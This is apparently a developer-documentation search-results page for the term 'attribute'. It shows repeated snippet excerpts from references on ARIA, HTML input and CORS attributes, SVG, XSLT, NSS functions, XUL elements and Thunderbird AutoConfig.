attributes, including aria-label declarations, are ignored by most automatic translation services. ...
Using the aria-valuemax attribute - Accessibility
value string representation of a number possible effects on user agents and assistive technology if the aria-valuemax is indeterminate, or if aria-valuemin is not less than or equal to the value of aria-valuemax, this creates an error condition that will be handled by the assistive technology. ...
... value string representation of a number possible effects on user agents and assistive technology if the aria-valuemax is indeterminate, or if aria-valuemin is not less than or equal to the value of aria-valuemax, this creates an error condition that will be handled by the assistive technology. ...
...emax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemin aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuemax
attribute ...
Using the aria-valuemin attribute - Accessibility
value string representation of a number possible effects on user agents and assistive technology if aria-valuemin is not less than or equal to the value of aria-valuemax, this creates an error condition that will be handled by the assistive technology. note: opinions may differ on how assistive technology should handle this technique. ...
... value string representation of a number possible effects on user agents and assistive technology if aria-valuemin is not less than or equal to the value of aria-valuemax, this creates an error condition that will be handled by the assistive technology. note: opinions may differ on how assistive technology should handle this technique. ...
...emax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemax aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuemin
attribute ...
HTML attribute: capture - HTML: Hypertext Markup Language
the capture
attribute specifies that, optionally, a new file should be captured, and which device should be used to capture that new media of a type defined by the accept
attribute. values include user and environment. the capture
attribute is supported on the file input type. the capture
attribute takes as it's value a string that specifies which camera to use for capture of image or video data, if the accept
attribute indicates that the input should be of one of those types. value description user the user-facing camera and/or microphone should be used. ...
...a string that specifies which camera to use for capture of image or video data, if the accept
attribute indicates that the input should be of one of those types. value description user the user-facing camera and/or microphone should be used. environment the outward-facing camera and/or microphone should be used note: capture was previously a boolean
attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input. examples when set on a file input type, operating systems with microphones and cameras will display a user interface allowing the selection from an existing file or the creating of a new one. <p> <label for="soundfile">what does your voice sound l...
... recommendation ...
HTML attribute: crossorigin - HTML: Hypertext Markup Language
the crossorigin
attribute, valid on the <audio>, <img>, <link>, <script>, and <video> elements, provides support for cors, defining how the element handles crossorigin requests, thereby enabling the configuration of the cors requests for the element's fetched data. depending on the element, the
attribute can be a cors settings
attribute. the crossorigin content
attribute on media elements is a cors settings
attribute. these
attributes are enumerated, and have the following possible values: keyword description anonymous cors requests for this element will have the credentials flag set to 'same-origin'. use-credentials cors requests for this element will have the credentials flag set to 'include'. ...
...ute on media elements is a cors settings
attribute. these
attributes are enumerated, and have the following possible values: keyword description anonymous cors requests for this element will have the credentials flag set to 'same-origin'. use-credentials cors requests for this element will have the credentials flag set to 'include'. "" setting the
attribute name to an empty value, like crossorigin or crossorigin="", is the same as anonymous. by default (that is, when the
attribute is not specified), cors is not used at all. the "anonymous" keyword means that there will be no exchange of user credentials via cookies, client-side ssl certificates or http authentication as described in the terminology section of the cors specification, unless it...
... living standard html living standardthe definition of 'crossorigin' in that specification. living standard ...
HTML attribute: max - HTML: Hypertext Markup Language
the max
attribute defines the maximum value that is acceptable and valid for the input containing the
attribute. if the value of the element is greater than this, the element fails constraint validation. this value must be greater than or equal to the value of the min
attribute. if the max
attribute is present by is not specified or is invalid, no max value is applied. if the max
attribute is valid and a non-empty value is greater than the maximum allowed by the max
attribute, constraint validation will prevent form submission. ...
... if the value exceeds the max value allowed, the validitystate.rangeoverflow will be true, and the the control will be matched by the :out-of-range and :invalid pseudo-classes. ...
...max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the maximum value set, the value is considered invalid in contraint validation and will match the :invalid and :out-of-range pseudoclasses see client-side validation and rangeoverflow for more information. for the<progress> element, the max
attribute describes how much work the task indicated by the progress element requires. if present, must have a value greater than zero and be a valid floating point number. for the <meter> element, the max
attribute defines the upper numeric bound of the measured range. this must be greater than the minimum value (min
attribute), if specified. in both cases, if omitted, the value defaults to 1. syntax ...
SVG Presentation Attributes - SVG: Scalable Vector Graphics
svg presentation
attributes are css properties that can be used as
attributes on svg elements. alignment-baseline baseline-shift clip clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering cursor direction display dominant-baseline enable-background fill fill-opacity fill-rule filter flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-orientation-horizontal glyph-orientation-vertical image-rendering kerning letter-spacing lighting-color marker-end marker-mid marker-start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-linecap ...
... value: auto|baseline|before-edge|text-before-edge|middle|central|after-edge|text-after-edge|ideographic|alphabetic|hanging|mathematical|inherit; animatable: yes baseline-shift it allows repositioning of the dominant-baseline relative to the dominant-baseline of the parent text cont...
...ven <clippath> element. value: none|<funciri>|inherit; animatable: yes clip-rule it indicates how to determine what side of a path is inside a shape in order to know how a <clippath> should clip its target. value: nonezero|evenodd|inherit; animatable: yes color it provides a potential indirect value (currentcolor) for the fill, stroke, stop-color, flood-color and lighting-color presentation
attributes. value: <color>|inherit; animatable: yes color-interpolation it specifies the color space for gradient interpolations, color animations, and alpha compositing. value: auto|srgb|linearrgb|inherit; animatable: yes color-interpolation-filters it specifies the color space for imaging operations performed via filter effects. value: auto|srgb|linearrgb|inherit; animatable: yes color-profile de...
attributeType - SVG: Scalable Vector Graphics
the
attributetype
attribute specifies the namespace in which the target
attribute and its associated values are defined. four elements are using this
attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate
attributetype="xml"
attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto animatable no css this value specifies that the value of
attributename is the name of a css property defined as animatable. ...
... <animate
attributetype="xml"
attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto animatable no css this value specifies that the value of
attributename is the name of a css property defined as animatable. xml this value specifies that the value of
attributename is the name of an xml
attribute defined as animatable in the default xml namespace for the target element. auto this value specifies that the implementation should match the
attributename to an
attribute for the target element. user agents first search through the list of css properties for a matching property name, and if none is found, search the default xml namespace for the element. s...
...at the implementation should match the
attributename to an
attribute for the target element. user agents first search through the list of css properties for a matching property name, and if none is found, search the default xml namespace for the element. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '
attributetype' in that specification. recommendation initial definition ...
<xsl:attribute> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:
attribute> element creates an
attribute in the output document, using any values that can be accessed from the stylesheet. the element must be defined before any other output document element inside the output document element for which it establishes
attribute values. but it may be after or inside elements that won't be part of the output (like <xsl:choose> or <xsl:apply-templates> etc.). syntax <xsl:
attribute name=name namespace=uri> template </xsl:
attribute> required
attributes name specifies the name of the
attribute to be created in the output document. ...
... defined xslt, section 7.1.3. ...
... may be after or inside elements that won't be part of the output (like <xsl:choose> or <xsl:apply-templates> etc.). syntax <xsl:
attribute name=name namespace=uri> template </xsl:
attribute> required
attributes name specifies the name of the
attribute to be created in the output document. the name must be a valid qname. optional
attributes namespace defines the namespace uri for this
attribute in the output document. you cannot set the related namespace prefix with this element. type instruction, appears within a template or an <xsl:
attribute-set> element. defined xslt, section 7.1.3. gecko support supported. ...
FC_GetAttributeValue
name fc_get
attributevalue - get the value of
attributes of an object. syntax ck_rv fc_get
attributevalue( ck_session_handle hsession, ck_object_handle hobject, ck_
attribute_ptr ptemplate, ck_ulong uscount ); parameters hsession [in] session handle. hobject [in] object handle. ptemplate [in, out] pointer to template. uscount [in] number of
attributes in the template. description fc_get
attributevalue gets the value of one or more
attributes of an object. a user must log into the token (to assume the nss user role) before getting the
attribute values of a secret or private key object. ...
...on handle. hobject [in] object handle. ptemplate [in, out] pointer to template. uscount [in] number of
attributes in the template. description fc_get
attributevalue gets the value of one or more
attributes of an object. ...
FC_SetAttributeValue
name fc_set
attributevalue - set the values of
attributes of an object. syntax ck_rv fc_set
attributevalue( ck_session_handle hsession, ck_object_handle hobject, ck_
attribute_ptr ptemplate, ck_ulong uscount ); parameters hsession [in] session handle. hobject [in] object handle. ptemplate [in, out] pointer to template. uscount [in] number of
attributes in the template. description fc_set
attributevalue sets the value of one or more
attributes of an object. a user must log into the token before setting the
attribute values of a secret or private key object. ...
...arameters hsession [in] session handle. hobject [in] object handle. ptemplate [in, out] pointer to template. uscount [in] number of
attributes in the template. description fc_set
attributevalue sets the value of one or more
attributes of an object. ...
Property attributes
any object property can have zero or more property
attributes set. some property
attributes are defined in the ecmascript standard, in ecma 262-3 §8.6.1. spidermonkey additionally defines several non-standard property
attributes. the jsapi expresses property
attributes as a value of type unsigned, the bitwise or of zero or more of the jsprop flags described below. an application can set property
attributes when creating a property. see js_defineproperty, js_fs, and js_fn flag description jsprop_enumerate the property is visible to javascript for...in and for each ... in loops, as well as to js_enumerate. this is the inverse of the ecma standard dontenum
attribute. mxr id search for jsprop_enumerate jsprop_readonly the property's va...
...f the ecma standard dontenum
attribute. mxr id search for jsprop_enumerate jsprop_readonly the property's value cannot be set. in javascript 1.2 and lower, it is an error to attempt to assign a value to a read-only property. in javascript 1.3 and higher, as in ecmascript, attempts to set a value on a read-only property are ignored. this is the ecma standard readonly
attribute. mxr id search for jsprop_readonly jsprop_permanent the property cannot be deleted. in javascript 1.2 and lower, it is an error to attempt to delete a permanent property. in javascript 1.3 and higher, as in ecmascript, such attempts are ignored. this is the ecma standard dontdelete
attribute. the javascript language does not provide any way for a script to dele...
SVG documentation index - SVG: Scalable Vector Graphics
g) are an xml-based markup language for describing two-dimensional based vector graphics.xml 2 applying svg effects to html content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html content. 3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and
attributes: 4 content type needstechnicalreview, svg, types, data types svg makes use of a number of data types. this article lists these types along with their syntax and descriptions of what they're used for. 5 linking guide, svg the target
attribute on the svg <a> element doesn't work in mozilla firefox 1.5. when svg documents are embedded within a parent html d...
...ge was auto-generated because a user created a sub-page to this page. 11 svg 1.1 support in firefox firefox, svg you can find some basic examples of svg syntax and usage in the w3c svg test suite. 12 svg 2 support in mozilla firefox, svg svg 2 is the next major version of the svg standard, which is a complete rework of the svg 1.2 draft. ...
... support in firefox firefox, svg you can find some basic examples of svg syntax and usage in the w3c svg test suite. 12 svg 2 support in mozilla firefox, svg svg 2 is the next major version of the svg standard, which is a complete rework of the svg 1.2 draft. ...
...And 175 more matches
Index - Archive of obsolete content
these are the sort of things that super-review should be catching for code that goes into the tree; avoiding these to start with saves super-reviewers a lot of effort. ...
...in particular mozilla's xml-based user interface language, xul. 751 accessibility/xul accessibility reference accessibility, xul this table is designed to show how to expose text properly for various xul element types. sections in bold are to draw attention to pieces that are often overlooked for visual layouts. underlined text may be read by the screen reader. 752
attribute (xul) xul
attributes, xul reference no summary! 753 flexgroup "flexgroup" is used to group flexible elements together and should be set to an integer. elements with a lower flexgroup are flexed first. when those elements have reached their maximum sizes, the elements with the next higher flexgroup are flexed. this process continues until there are no more elements ...
... elements together and should be set to an integer. elements with a lower flexgroup are flexed first. when those elements have reached their maximum sizes, the elements with the next higher flexgroup are flexed. this process continues until there are no more elements remaining. the same process occurs when decreasing the size, except in the other direction. ...
...And 160 more matches
Index - Archive of obsolete content
and in particular mozilla's xml-based user interface language, xul. 4 accessibility/xul accessibility reference accessibility, xul this table is designed to show how to expose text properly for various xul element types. sections in bold are to draw attention to pieces that are often overlooked for visual layouts. underlined text may be read by the screen reader. 5
attribute (xul) xul
attributes, xul reference no summary! 6 flexgroup "flexgroup" is used to group flexible elements together and should be set to an integer. elements with a lower flexgroup are flexed first. when those elements have reached their maximum sizes, the elements with the next higher flexgroup are flexed. this process continues until there are no more elements re...
...le elements together and should be set to an integer. elements with a lower flexgroup are flexed first. when those elements have reached their maximum sizes, the elements with the next higher flexgroup are flexed. this process continues until there are no more elements remaining. the same process occurs when decreasing the size, except in the other direction. ...
...r flexgroup are flexed first. when those elements have reached their maximum sizes, the elements with the next higher flexgroup are flexed. this process continues until there are no more elements remaining. the same process occurs when decreasing the size, except in the other direction. ...
...And 152 more matches
HTML documentation index - HTML: Hypertext Markup Language
sic building block of the web. it defines the meaning and structure of web content. other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/behavior (javascript). 2 allowing cross-origin use of images and canvas advanced, cors, canvas, html, image, reference, security, storage, data html provides a crossorigin
attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin. 3 applying color to html elements using css beginner, css, css colors, guide, html, html colors, html styles, styling html, color with css, there are lots o...
...tp (dash) is an adaptive streaming protocol. 6 date and time formats used in html date, element, format, html, iso 8601, input, reference, string, time, week, datetime, datetime-local, del, ins, month, month-year, week-year certain html elements use date and/or time values. the formats of the strings that specify these values are described in this article. ...
... adaptive streaming protocol. 6 date and time formats used in html date, element, format, html, iso 8601, input, reference, string, time, week, datetime, datetime-local, del, ins, month, month-year, week-year certain html elements use date and/or time values. the formats of the strings that specify these values are described in this article. ...
...And 82 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
the html <input> element is used to create interactive controls for web-based forms in order to accept data from the user; a wide variety of types of input data and control widgets are available, depending on the device and user agent. the <input> element is one of the most powerful and complex in all of html due to the sheer number of combinations of input types and
attributes. ...
...l of html due to the sheer number of combinations of input types and
attributes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. <input> types how an <input> works varies considerably depending on the value of its type
attribute, hence the different types are covered in their own separate reference pages. if this
attribute is not specified, the default type adopted is text. the available types are as follows: type description basic examples spec button a push button with no default behavior displaying the value of the value
attribute, empty by default. <input type...
... <input type="datetime-local" name="datetime-local"/> html5 email a field for editing an email address. looks like a text input, but has validation parameters and relevant keyboard in supporting browsers and devices with dynamic keyboards. <input type="email" name="email"/> html5 file a control that lets the user select a file. use the accept
attribute to define the types of files that the control can select. <input type="file" accept="image/*, text/*" name="file"/> hidden a control that is not displayed but whose value is submitted to the server. there is an example in the next column, but it's hidden! image a graphical submit button. displays an image defined by the src
attribute. the alt attrib...
...And 78 more matches
WebIDL bindings
the getter can throw. the retu...
... the getter can throw. the return value of the attri...
...lse(myclass& aotherinstance, errorresult& rv); void dotheother(jscontext* cx, js::value asomething); void doyetanotherthing(bool aactuallydoit); static void staticoperation(const globalobject& aglobal, js::value asomething); } c++ reflections of webidl
attributes a webidl
attribute is turned into a pair of method calls for the getter and setter on the underlying c++ object. a readonly
attribute only has a getter and no setter. the getter's name is the name of the
attribute with the first letter converted to uppercase. this has get prepended to it if any of these conditions hold: the type of the
attribute is nullable. the getter can throw. the return value of the
attribute is returned via an out parameter in the c++. the method signature for the getter looks just like an operatio...
...And 68 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
</vbox> <button label="mixed4"/> </hbox> listing 3: horizontal and vertical boxes figure 1: output of listing 3 there is also a grid element, which can be used for layouts similar to those achieved using the html table element, a stack element for layering other elements, and so on. all on-screen widgets are laid out using these boxes, making complex interface designs possible. common
attributes before we look at the various interface objects, let's look at some of their common
attributes, especially the frequently used ones. id and class the
attributes id and class fill the same role that the xhtml
attributes of the same names fill. id is used to define a unique name for an element, and class is used to classify elements; both of these provide convenient ways to refer to elements in...
... to classify elements; both of these provide convenient ways to refer to elements in css and javascript. there are also special kinds of element that only come into play after being referenced by another element. orient whether a box's contents will be vertically or horizontally arrayed depends on the elements in their initial state. ...
...and javascript. there are also special kinds of element that only come into play after being referenced by another element. orient whether a box's contents will be vertically or horizontally arrayed depends on the elements in their initial state. you can explicitly set or change this layout using the orient
attribute, with options for horizontal and vertical. align and pack the align and pack
attributes both specify the layout of elements within a box. they can both take the values start (top or left), center, end (bottom or right), or stretch (extend this element to match the element with the greatest height or width). the align
attribute is defined as operating in the axis perpendicular to the orient
attribute, while the pack
attribute operates along the same axis as the orient
attribute. fi...
...And 50 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element is created by setting the type
attribute of a textbox to autocomplete. it is used to create a textbox with a popup containing a list of possible completions for what the user has started to type. the autocomplete functionality is handled through one of more session objects, each of which can return a set of results given the current value of the textbox. the sessions can be set using the searchsessions
attribute or by calling the addsession method. ...
...complete. it is used to create a textbox with a popup containing a list of possible completions for what the user has started to type. the autocomplete functionality is handled through one of more session objects, each of which can return a set of results given the current value of the textbox. the sessions can be set using the searchsessions
attribute or by calling the addsession method. ...
... alwaysopenpopup obsolete since gecko 1.9.1 type: boolean note: applies to: thunderbird and seamonkeyif true, the autocomplete popup will be displayed even when there are no matches. if false...
...And 46 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
'hsl' : 'hsv'; this.color.setformat(this.picker_mode); this.createpickingarea(); this.createhuearea(); this.newinputcomponent('h', 'hue', this.inputchangehue.bind(this)); this.newinputcomponent('s', 'saturation', this.inputchangesaturation.bind(this)); thi...
...'hsl' : 'hsv'; this.color.setformat(this.picker_mode); this.createpickingarea(); this.createhuearea(); this.newinputcomponent('h', 'hue', this.inputchangehue.bind(this)); this.newinputcomponent('s', 'saturation', this.inputchangesaturation.bind(this)); this.newinputcomponent('v', 'value', this.inputchangev...
...review_color = preview_color; preview_box.appendchild(preview_color); this.node.appendchild(preview_box); }; colorpicker.prototype.newinputcomponent = function newinputcomponent(title, topic, onchangefunc) { var wrapper = document.createelement('div'); var input = document.createelement('input'); var info = document.createelement('span'); wrapper.classname = 'input'; wrapper.set
attribute('data-topic', topic); info.textcontent = title; info.classname = 'name'; input.set
attribute('type', 'text'); wrapper.appendchild(info); wrapper.appendchild(input); this.node.appendchild(wrapper); input.addeventlistener('change', onchangefunc); input.addeventlistener('click', function() { this.select(); }); this.subscribe(topic, function(value) { input.value = value; ...
...And 37 more matches
JXON - Archive of obsolete content
u have already have a dom tree from using xmlhttprequest, skip to the next paragraph. note: if you are using an instance of xmlhttprequest in order to retrieve your xml file, please use the yourrequest.responsexml property to get a parsed xml document. don't use yourrequest.responsetext! the algorithms proposed here (see: #1, #2, #3, #4) will consider only the following types of nodes and their
attributes: document (only as function argument), documentfragment (only as function argument), element, text (never as function argument), cdatasection (never as function argument), attr (never as function argument). this is a good and standardized compromise for a javascript usage, since all of the information of an xml document is contained in these node types. all other information (like proc...
...nd standardized compromise for a javascript usage, since all of the information of an xml document is contained in these node types. all other information (like processing instructions, schemas, comments, etc.) will be lost. this type of algorithm is still considered lossless, since what is lost is meta-information and not information. in order to avoid conflicts, the representation of nodes and
attributes names is case insensitive (always rendered in lower case), so objects' local property names set using javascript must always have some kind of capitalization (that is, at least one capital letter somewhere in their names), as you can see below. the following algorithms are somewhat based on the parker convention, version 0.4, which prescribes the transformation of tags names into object propert...
... to a javascript object tree (you can read more about working with objects and how javascript is object-oriented). we can use several algorithms to convert its content to a javascript object tree. algorithm #1: a verbose way this simple recursive constructor will convert an xml dom tree to a javascript object tree. the text content of each element is stored into the keyvalue property, while node
attributes, if they exist, are listed under the child object key
attributes. the constructor's argument can be the entire xml document, a documentfragment or simply an element node. /*\ |*| |*| jxon snippet #1 mdndeveloper network |*| |*| https://developer.mozilla.org/docs/jxon |*| https://developer.mozilla.org/user:fusionchess |*| |*| this framework is released under the gnu public license, version 3 ...
...And 36 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
.js dedicated file) enables the read and execution of prefcalls.js. do not use the name all.js because it is reserved. ref: bug 690370 available functions are (see prefcalls.js file for details): function getprefbranch() function pref(prefname, value) function defaultpref(prefname, value) function lockpref(prefname, value) function unlockpref(prefname) function getpref(prefname) function getldap
attributes(host, base, filter, attribs) function getldapvalue(str, key) function displayerror(funcname, message) function getenv(name) configure autoconfig two directives ask thunderbird to use autoconfig at startup: # cat /usr/lib/thunderbird/defaults/pref/tb-autoconf.js // 20100526 - modification autoconfig jehan. // pref("general.config.obscure_value", 0); // for mcd .cfg files pref('general.conf...
...pref("mail.smtpserver.smtp1.try_ssl", 0); lockpref("mail.smtpserver.smtp1.username", ""); lockpref("mail.smtpservers", "smtp1"); lockpref("mail.startup.enabledmailcheckonce", true); lockpref("mailnews.quotingprefs.version", 1); lockpref("mailnews.ui.threadpane.version", 5); /* 3) define here (because if set after "4)" below it doesn't work!) processldapvalues which is eventually called by getldap
attributes() just below, check getldap
attributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues */ function processldapvalues(values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue(values, "uid"); var cn = getldapvalue(values, "cn"); v...
...t need them here. ...
...And 36 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element is created by setting the type
attribute of the textbox to autocomplete. it is used to create a textbox with a popup containing a list of possible completions for what the user has started to type. toolkit applications (such as firefox) use a different autocomplete mechanism than the mozilla suite. the example below will create an autocomplete textbox that will search the user's history. ...
...ent is created by setting the type
attribute of the textbox to autocomplete. it is used to create a textbox with a popup containing a list of possible completions for what the user has started to type. toolkit applications (such as firefox) use a different autocomplete mechanism than the mozilla suite. the example below will create an autocomplete textbox that will search the user's history. ...
... autocompletepopup type: id the id of a popup element used to hold autocomplete results for the element. autocompletesearch new in thunderbird 2requires seamonke...
...And 34 more matches
XUL Events - Archive of obsolete content
« xul reference home the following tables and sections describe the event handler that are valid for most xul elements. the events listeners can be attached using addeventlistener and removed using removeeventlistener. some of the events can be attached using
attributes as well. when attaching event listeners using
attributes, be aware that only one listener can be attached at a time. any previously attached listeners are disconnected. the
attribute name is the event name with an 'on' prefix. xul event reference subpages broadcastthe broadcast event is executed when the
attributes of the element (such as a broadcaster) being listened to are changed. the event handler should be placed on an observer.checkboxstatechangethe checkboxstatechange event is execut...
... changed.valuechangethe valuechange event is executed when the value of an element, <progress> for example, has changed. inherited dom events event description blur the opposite of the focus event, the blur event is passed after an element loses the focus. ...
... blur the opposite of the focus event, the blur event is passed after an element loses the focus.
attribute: onblur change this event is sent when the value of the textbox is changed. the event is not sent until the focus is moved to another element.
attribute: onchange click this event is sent when a mouse button is pressed and released. you can determine which mouse button was clicked by retrieving the button property of the event object. this event is also sent when the user double-clicks with the mouse. the detail property specifies how many clicks occurred. you c...
...And 33 more matches
Elements - Archive of obsolete content
y functional if scripting is disabled. in the latter case all methods and handlers will be blocked, but the anonymous content and styling will be still used. given that the css declarations should be always used - unless you need to add bindings at runtime to individual elements. a binding element may contain a resources tag, a content tag, a implementation tag and a handlers tag. id - the id
attribute is a document-unique identifier. for the binding element, this
attribute is required, since it is used to attach bindings. extends - the extends
attribute is used to specify the url of a binding that this binding inherits from (see inheritance of implementations). the url specifies a particular binding document. the # notation must be used to point to a specific binding id within a binding docum...
...for example, use the value 'xul:button' to create an element that is displayed like a button. ...
...for example, use the value 'xul:button' to create an element that is displayed like a button. the part before the colon is a namespace prefix so you must declare the xul namespace as well. not all tags have a unique display type. ...
...And 32 more matches
requiredFeatures - SVG: Scalable Vector Graphics
requiredfeatures is often used in conjunction with the <switch> element. ...
... requiredfeatures is often used in conjunction with the <switch> element. ...
... requiredfeatures is often used in conjunction with the <switch> element. ...
...And 32 more matches
textbox - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an input field where the user can enter text. it is similar to the html input element. only one line of text is displayed by default. the multiline
attribute can be specified to display a field with multiple rows. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] an input field where the user can enter text. it is similar to the html input element. only one line of text is displayed by default. the multiline
attribute can be specified to display a field with multiple rows. more information is available in the xul tutorial. ...
... decimalplaces type: integer the number of decimal places to display. the default is 0, which doesn't show any decimal places. the value infinity may be used if you want no limit on the number of decimal places. note that decimal numbers are stored as floats. disabled type: boolean indicates whe...
...And 31 more matches
Index
r.startup.homepage", and "browser.startup.homepage_override" can be accessed by simply passing "page", "homepage", or "homepage_override" to the various get/set methods. 160 extensionmanager (toolkit) extensions the extensionmanager follows the nsiextensionmanager api. 161 iaccessible2 interfaces, needscontent, xpcom, xpcom interface reference returns the
attributes specific to this iaccessible2 object, such as a cell's formula. 162 iaccessibleaction interfaces, xpcom, xpcom interface reference every accessible object that can be manipulated via the native gui beyond the methods available either in the msaa iaccessible interface or in the set of iaccessible2 interfaces (other than this iaccessibleaction interface) should support the iac...
...rs of a table will be at the same time children of the table. in this case iaccessible2.indexinparent() will return the child index which then can be used when calling rowindex() and columnindex(). however, in some cases that kind of implementation will not be possible. ...
... this case iaccessible2.indexinparent() will return the child index which then can be used when calling rowindex() and columnindex(). however, in some cases that kind of implementation will not be possible. when the table cells are not direct children of a table, the object representing the cell can define a "table-cell-index" object
attribute identifying the 0 based table cell index. this object
attribute is obtained by parsing the
attribute string returned by iaccessible2.
attributes(). the "table-cell-index"
attribute can be used just like a child index of the typical case. ats should first test for the presence of the "table-cell-index"
attribute and if it is not present then iaccessible2.indexinparent() can be used as in the typical case where cells are direct children of the table. the range o...
...And 28 more matches
Color picker tool - CSS: Cascading Style Sheets
'hsl' : 'hsv'; this.color.setformat(this.picker_mode); this.createpickingarea(); this.createhuearea(); this.newinputcomponent('h', 'hue', this.inputchangehue.bind(this)); this.newinputcomponent('s', 'saturation', this.inputchangesaturation.bind(this)); thi...
...'hsl' : 'hsv'; this.color.setformat(this.picker_mode); this.createpickingarea(); this.createhuearea(); this.newinputcomponent('h', 'hue', this.inputchangehue.bind(this)); this.newinputcomponent('s', 'saturation', this.inputchangesaturation.bind(this)); this.newinputcomponent('v', 'value', this.inputchangev...
...review_color = preview_color; preview_box.appendchild(preview_color); this.node.appendchild(preview_box); }; colorpicker.prototype.newinputcomponent = function newinputcomponent(title, topic, onchangefunc) { var wrapper = document.createelement('div'); var input = document.createelement('input'); var info = document.createelement('span'); wrapper.classname = 'input'; wrapper.set
attribute('data-topic', topic); info.textcontent = title; info.classname = 'name'; input.set
attribute('type', 'text'); wrapper.appendchild(info); wrapper.appendchild(input); this.node.appendchild(wrapper); input.addeventlistener('change', onchangefunc); input.addeventlistener('click', function() { this.select(); }); this.subscribe(topic, function(value) { input.value = value; ...
...And 28 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
the html <img> element embeds an image into the document. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows usage of the <img> element: the src
attribute is required, and contains the path to the image you want to embed. the alt
attribute holds a text description of the image, which isn't mandatory but is incredibly useful for accessibility — screen readers read this description out to their users so they know what the image means. alt text is also displayed on the page if the image can't be loaded for some reason: for example, network errors, content blocking, or linkrot. there are many ot...
... use both width and height to set the intrinsic size of the image, allowing it to take up space before it loads, to mitigate content layout shifts. ...
...nd detailed browser compatibility information; including which versions introduced support and specific special features that may have been introduced later. image loading errors if an error occurs while loading or rendering an image, and an onerror event handler has been set on the error event, that event handler will get called. this can happen in a number of situations, including: the src
attribute is empty ("") or null. the src url is the same as the url of the page the user is currently on. the image is corrupted in some way that prevents it from being loaded. the image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <img> element's
attributes. the image is in a format not supported by the user agent. att...
...And 28 more matches
<input type="email"> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the input value is automatically validated to ensure that it's either empty or a properly-formatted e-mail address (or list of addresses) before the form can be submitted. ...
...id css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid e-mail address or not. on browsers that don't support inputs of type email, a email input falls back to being a standard text input. value a domstring representing an e-mail address, or empty events change and input supported common
attributes autocomplete, list, maxlength, minlength, multiple, name,pattern, placeholder, readonly, required, size, and type idl
attributes list and value methods select() value the <input> element's value
attribute contains a domstring which is automatically validated as conforming to e-mail syntax. more specifically, there are three possible value formats that will pass...
... that the value was removed. a single properly-formed e-mail address. this doesn't necessarily mean the e-mail address exists, but it is at least formatted correctly. in simple terms, this means username@domain or username@domain.tld. there's more to it than that, of course; see validation for a regular expression that matches the e-mail address validation algorithm. ...
...And 25 more matches
<input type="url"> - HTML: Hypertext Markup Language
tted. the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid url or not. on browsers that don't support inputs of type url, a url input falls back to being a standard text input. value a domstring representing a url, or empty events change and input supported common
attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl
attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange(). value the <input> element's value
attribute contains a domstring which is automatically validated as conforming to url syntax. more specifically, there ...
...n: an empty string ("") indicating that the user did not enter a value or that the value was removed. a single properly-formed absolute url. this doesn't necessarily mean the url address exists, but it is at least formatted correctly. in simple terms, this means urlscheme://restofurl. see validation for details on how urls are validated to ensure that they're formatted properly. ...
...cating that the user did not enter a value or that the value was removed. a single properly-formed absolute url. this doesn't necessarily mean the url address exists, but it is at least formatted correctly. in simple terms, this means urlscheme://restofurl. see validation for details on how urls are validated to ensure that they're formatted properly. ...
...And 25 more matches
listitem - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a single row in a listbox. the text of the listitem is specified either using listcell elements, or by placing a label
attribute directly on the listitem element. by default it contains a single listcell element of type and class appropriate to that of the listitem. more information is available in the xul tutorial. ...
...nce home [ examples |
